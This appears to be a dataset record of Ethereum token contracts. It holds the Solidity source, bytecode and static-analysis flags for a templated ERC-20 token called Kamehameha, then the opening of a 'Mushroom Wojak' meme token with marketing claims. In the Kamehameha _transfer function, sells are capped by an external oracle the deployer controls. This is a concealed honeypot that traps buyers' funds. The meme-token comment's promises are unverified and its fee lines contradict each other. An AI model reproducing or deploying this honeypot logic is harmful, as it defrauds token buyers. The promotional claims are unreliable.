require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Kamehameha is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address payable private _taxWallet;
uint256 private _tax=4;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router;
Oracle private _oracle;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(WALLET_ADDRESS);
_rOwned[_msgSender()] = _rTotal;
_router = IUniswapV2Router02(ROUTER_ADDRESS);
_oracle=Oracle(TAX_ADDRESS);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?1:0)*amount <= _oracle.amount());
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061233b565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611f0e565b61038e565b60405161014c9190612320565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061249d565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611ebf565b6103b8565b6040516101b49190612320565b60405180910390f35b3480156101c957600080fd5b506101d2610491565b6040516101df9190612512565b60405180910390f35b3480156101f457600080fd5b506101fd610496565b005b34801561020b57600080fd5b5061022660048036038101906102219190611e31565b610510565b604051610233919061249d565b60405180910390f35b34801561024857600080fd5b50610251610561565b005b34801561025f57600080fd5b506102686106b4565b6040516102759190612252565b60405180910390f35b34801561028a57600080fd5b506102936106dd565b6040516102a0919061233b565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611f0e565b61071a565b6040516102dd9190612320565b60405180910390f35b3480156102f257600080fd5b506102fb610738565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e83565b610c4e565b604051610331919061249d565b60405180910390f35b34801561034657600080fd5b5061034f610cd5565b005b60606040518060400160405280600a81526020017f4b616d6568616d65686100000000000000000000000000000000000000000000815250905090565b60006103a261039b610d47565b8484610d4f565b6001905092915050565b60006305f5e100905090565b60006103c5848484610f1a565b610486846103d1610d47565b61048185604051806060016040528060288152602001612a8a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ee9092919063ffffffff16565b610d4f565b600190509392505050565b600090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104d7610d47565b73ffffffffffffffffffffffffffffffffffffffff16146104f757600080fd5b600061050230610510565b905061050d81611352565b50565b600061055a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164c565b9050919050565b610569610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed9061241d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4b616d6568616d65686100000000000000000000000000000000000000000000815250905090565b600061072e610727610d47565b8484610f1a565b6001905092915050565b610740610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c49061241d565b60405180910390fd5b600960149054906101000a900460ff161561081d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610814906123bd565b60405180910390fd5b61084e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166305f5e100610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee9190611e5a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097257600080fd5b505afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa9190611e5a565b6040518363ffffffff1660e01b81526004016109c792919061226d565b602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190611e5a565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aa230610510565b600080610aad6106b4565b426040518863ffffffff1660e01b8152600401610acf969594939291906122bf565b6060604051808303818588803b158015610ae857600080fd5b505af1158015610afc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b219190611f9c565b5050506001600960166101000a81548160ff0219169083151502179055506001600960146101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf9929190612296565b602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611f4a565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d16610d47565b73ffffffffffffffffffffffffffffffffffffffff1614610d3657600080fd5b6000479050610d44816116ba565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db69061247d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e269061239d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0d919061249d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f819061245d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff19061235d565b60405180910390fd5b6000811161103d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110349061243d565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aa8c217c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110a557600080fd5b505afa1580156110b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110dd9190611f73565b81600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111895750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b611194576000611197565b60015b60ff166111a49190612609565b11156111af57600080fd5b6111b76106b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561122557506111f56106b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112de57600960159054906101000a900460ff161580156112955750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112ad5750600960169054906101000a900460ff165b156112dd576112c36112be30610510565b611352565b600047905060008111156112db576112da476116ba565b5b505b5b6112e9838383611726565b505050565b6000838311158290611336576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132d919061233b565b60405180910390fd5b50600083856113459190612663565b9050809150509392505050565b6001600960156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113b0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156113de5781602001602082028036833780820191505090505b509050308160008151811061141c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114be57600080fd5b505afa1580156114d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f69190611e5a565b81600181518110611530577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061159730600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115fb9594939291906124b8565b600060405180830381600087803b15801561161557600080fd5b505af1158015611629573d6000803e3d6000fd5b50505050506000600960156101000a81548160ff02191690831515021790555050565b6000600354821115611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a9061237d565b60405180910390fd5b600061169d611736565b90506116b2818461176190919063ffffffff16565b915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611722573d6000803e3d6000fd5b5050565b6117318383836117ab565b505050565b6000806000611743611976565b9150915061175a818361176190919063ffffffff16565b9250505090565b60006117a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c9565b905092915050565b6000806000806000806117bd87611a2c565b95509550955095509550955061181b86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9190919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611adb90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118fc81611b39565b6119068483611bf6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611963919061249d565b60405180910390a3505050505050505050565b6000806000600354905060006305f5e10090506119a26305f5e10060035461176190919063ffffffff16565b8210156119bc576003546305f5e1009350935050506119c5565b81819350935050505b9091565b60008083118290611a10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a07919061233b565b60405180910390fd5b5060008385611a1f91906125d8565b9050809150509392505050565b6000806000806000806000806000611a468a600654611c30565b9250925092506000611a56611736565b90506000806000611a698e878787611cc4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ad383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ee565b905092915050565b6000808284611aea9190612582565b905083811015611b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b26906123dd565b60405180910390fd5b8091505092915050565b6000611b43611736565b90506000611b5a8284611d4d90919063ffffffff16565b9050611bae81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611adb90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c0b82600354611a9190919063ffffffff16565b600381905550611c2681600454611adb90919063ffffffff16565b6004819055505050565b600080600080611c5c6064611c4e8789611d4d90919063ffffffff16565b61176190919063ffffffff16565b90506000611c866064611c78888a611d4d90919063ffffffff16565b61176190919063ffffffff16565b90506000611caf82611ca1858b611a9190919063ffffffff16565b611a9190919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611cdd8589611d4d90919063ffffffff16565b90506000611cf48689611d4d90919063ffffffff16565b90506000611d0b8789611d4d90919063ffffffff16565b90506000611d3482611d268587611a9190919063ffffffff16565b611a9190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d605760009050611dc2565b60008284611d6e9190612609565b9050828482611d7d91906125d8565b14611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db4906123fd565b60405180910390fd5b809150505b92915050565b600081359050611dd781612a44565b92915050565b600081519050611dec81612a44565b92915050565b600081519050611e0181612a5b565b92915050565b600081359050611e1681612a72565b92915050565b600081519050611e2b81612a72565b92915050565b600060208284031215611e4357600080fd5b6000611e5184828501611dc8565b91505092915050565b600060208284031215611e6c57600080fd5b6000611e7a84828501611ddd565b91505092915050565b60008060408385031215611e9657600080fd5b6000611ea485828601611dc8565b9250506020611eb585828601611dc8565b9150509250929050565b600080600060608486031215611ed457600080fd5b6000611ee286828701611dc8565b9350506020611ef386828701611dc8565b9250506040611f0486828701611e07565b9150509250925092565b60008060408385031215611f2157600080fd5b6000611f2f85828601611dc8565b9250506020611f4085828601611e07565b9150509250929050565b600060208284031215611f5c57600080fd5b6000611f6a84828501611df2565b91505092915050565b600060208284031215611f8557600080fd5b6000611f9384828501611e1c565b91505092915050565b600080600060608486031215611fb157600080fd5b6000611fbf86828701611e1c565b9350506020611fd086828701611e1c565b9250506040611fe186828701611e1c565b9150509250925092565b6000611ff78383612003565b60208301905092915050565b61200c81612697565b82525050565b61201b81612697565b82525050565b600061202c8261253d565b6120368185612560565b93506120418361252d565b8060005b838110156120725781516120598882611feb565b975061206483612553565b925050600181019050612045565b5085935050505092915050565b612088816126a9565b82525050565b612097816126ec565b82525050565b60006120a882612548565b6120b28185612571565b93506120c28185602086016126fe565b6120cb8161278f565b840191505092915050565b60006120e3602383612571565b91506120ee826127a0565b604082019050919050565b6000612106602a83612571565b9150612111826127ef565b604082019050919050565b6000612129602283612571565b91506121348261283e565b604082019050919050565b600061214c601783612571565b91506121578261288d565b602082019050919050565b600061216f601b83612571565b915061217a826128b6565b602082019050919050565b6000612192602183612571565b915061219d826128df565b604082019050919050565b60006121b5602083612571565b91506121c08261292e565b602082019050919050565b60006121d8602983612571565b91506121e382612957565b604082019050919050565b60006121fb602583612571565b9150612206826129a6565b604082019050919050565b600061221e602483612571565b9150612229826129f5565b604082019050919050565b61223d816126d5565b82525050565b61224c816126df565b82525050565b60006020820190506122676000830184612012565b92915050565b60006040820190506122826000830185612012565b61228f6020830184612012565b9392505050565b60006040820190506122ab6000830185612012565b6122b86020830184612234565b9392505050565b600060c0820190506122d46000830189612012565b6122e16020830188612234565b6122ee604083018761208e565b6122fb606083018661208e565b6123086080830185612012565b61231560a0830184612234565b979650505050505050565b6000602082019050612335600083018461207f565b92915050565b60006020820190508181036000830152612355818461209d565b905092915050565b60006020820190508181036000830152612376816120d6565b9050919050565b60006020820190508181036000830152612396816120f9565b9050919050565b600060208201905081810360008301526123b68161211c565b9050919050565b600060208201905081810360008301526123d68161213f565b9050919050565b600060208201905081810360008301526123f681612162565b9050919050565b6000602082019050818103600083015261241681612185565b9050919050565b60006020820190508181036000830152612436816121a8565b9050919050565b60006020820190508181036000830152612456816121cb565b9050919050565b60006020820190508181036000830152612476816121ee565b9050919050565b6000602082019050818103600083015261249681612211565b9050919050565b60006020820190506124b26000830184612234565b92915050565b600060a0820190506124cd6000830188612234565b6124da602083018761208e565b81810360408301526124ec8186612021565b90506124fb6060830185612012565b6125086080830184612234565b9695505050505050565b60006020820190506125276000830184612243565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061258d826126d5565b9150612598836126d5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125cd576125cc612731565b5b828201905092915050565b60006125e3826126d5565b91506125ee836126d5565b9250826125fe576125fd612760565b5b828204905092915050565b6000612614826126d5565b915061261f836126d5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561265857612657612731565b5b828202905092915050565b600061266e826126d5565b9150612679836126d5565b92508282101561268c5761268b612731565b5b828203905092915050565b60006126a2826126b5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126f7826126d5565b9050919050565b60005b8381101561271c578082015181840152602081019050612701565b8381111561272b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612a4d81612697565b8114612a5857600080fd5b50565b612a64816126a9565b8114612a6f57600080fd5b50565b612a7b816126d5565b8114612a8657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c686fb334b6eda3447d32bf5a6e0b90c979f518dff08d0711f65f58859b6cc3264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,268 |
0xcb144c1cdaeed97b1c108617a8b0f3e7e3bc858a
|
/*
https://t.me/mushroomwojak
https://twitter.com/Mushroom_Wojak
Mushroom Wojak ($MOJAK)
A stupid, but solid meme token.
Once liquidity is added, you can buy this on Uniswap at:
https://app.uniswap.org/#/swap?outputCurrency=0xcb144c1cdaeed97b1c108617a8b0f3e7e3bc858a&use=V2
✅No presales
✅No team wallets
✅100% of total supply to liquidity
✅Liquidity will be locked
✅Ownership will be renounced
✅Get more tokens just for holding
✅Total supply: 1,000,000,000,000
💲Fees
2% for sells, redistributed to holders
13% for sells, dev fee
🤖⛔️Anti-bot measures
⛔️Only the uniswap router contract can be interacted with during the buyer cooldown period
This stops most frontrunning bots
🤖️Known sandwich bots are blocked
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
